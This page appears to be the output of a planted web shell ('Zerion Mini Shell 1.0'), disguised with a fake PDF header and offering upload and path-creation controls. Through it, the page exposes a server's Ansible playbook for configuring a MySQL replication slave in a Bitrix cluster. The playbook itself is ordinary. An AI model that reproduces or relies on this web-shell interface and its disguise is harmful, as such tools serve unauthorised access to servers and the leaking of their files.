%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/ansible/roles/mysql/tasks/
Upload File :
Create Path :
Current File : //etc/ansible/roles/mysql/tasks/create_slave.yml

---
# Create slave role on the server
# input_options:
# cluster_login     = login for cluster ( if first replication input, for other get it from file )
# cluster_password|cluster_password_file  = password
# replica_login     = login used in replication
# replica_password|replica_password_file  = password
# slave_server      = <hostname>
# mysql_last_id     = last used server-id in the pool
# on localhost gathering facts abount installed sites
- include: sites-gathering_facts.yml

- include: sites-checks.yml

- include: mysql-check-slave.yml

- name: replication variables on the slave-server
  set_fact: 
    mysql_replication_role: slave 
    mysql_serverid: "{{ mysql_last_id+1 }}"
  when: "inventory_hostname == slave_server"
  tags: vars

- name: cluster password 
  set_fact:
    cluster_password: "{{ lookup('file', cluster_password_file) }}"
  when: cluster_password_file is defined
  tags: vars

- name: replica password 
  set_fact:
    replica_password: "{{ lookup('file', replica_password_file) }}"
  when: replica_password_file is defined
  tags: vars

  #- name: debug
  #debug: msg="cluster_password={{ cluster_password }} replica_password={{ replica_password }}"

- include: common-etckeeper.yml
  when: "slave_server == inventory_hostname or master_server == inventory_hostname"

# configure mysql options and user's access
- include: configure-certs.yml
  when: "inventory_hostname == slave_server or inventory_hostname == master_server"
  static: no

- include: setup.yml
  when: "slave_server == inventory_hostname or master_server == inventory_hostname"

- include: mysql_uuid.yml
  when: "slave_server == inventory_hostname and mysql_mid_version == '7'"

# sync master and slave operations
- include: mysql-master-lock.yml
  when: "slave_server == inventory_hostname or master_server == inventory_hostname"

# update php configs of sites; only on web balancer
- include: sites-update_settings.yml
  when: "cluster_web_server == inventory_hostname"

- name: restart httpd
  service: name=httpd state=restarted
  when: "'bitrix-web' in group_names"

# disable public part of site, agents and events - delegate_to localhost(balancer)
- include: sites-make_public.yml
  when: "inventory_hostname == cluster_web_server"

# configure mysql slave server
- include: mysql-configure-slave.yml
  when: "inventory_hostname == slave_server"

- include: mysql-pt-slave-restart-start.yml
  when: "inventory_hostname == slave_server"

## enable public part of site
- name: create site_stopped variable
  set_fact: site_stopped='N'
  when: "'bitrix-web' in group_names"

- include: sites-make_public.yml
  when: "inventory_hostname == cluster_web_server"
 
# register slave in cluster module - delegate to localhost(balancer)
# Note: we use slave_server variables and execute script on cluster_web_server
- include: sites-register_slave.yml
  when: "inventory_hostname == slave_server"

# update ansible config files
- include: mysql-inventory-slave.yml
  when: "inventory_hostname == slave_server"

# delete lock file
- name: delete lock file on master server
  file: 
    path: "/tmp/{{ master_server }}.lock" 
    state: absent
  when: "master_server == inventory_hostname"
  tags: mysql_sync

# monitoring plugins
- include: mysql-monitor-slave.yml
  when: "monitoring_status == 'enable' and slave_server == inventory_hostname"

Zerion Mini Shell 1.0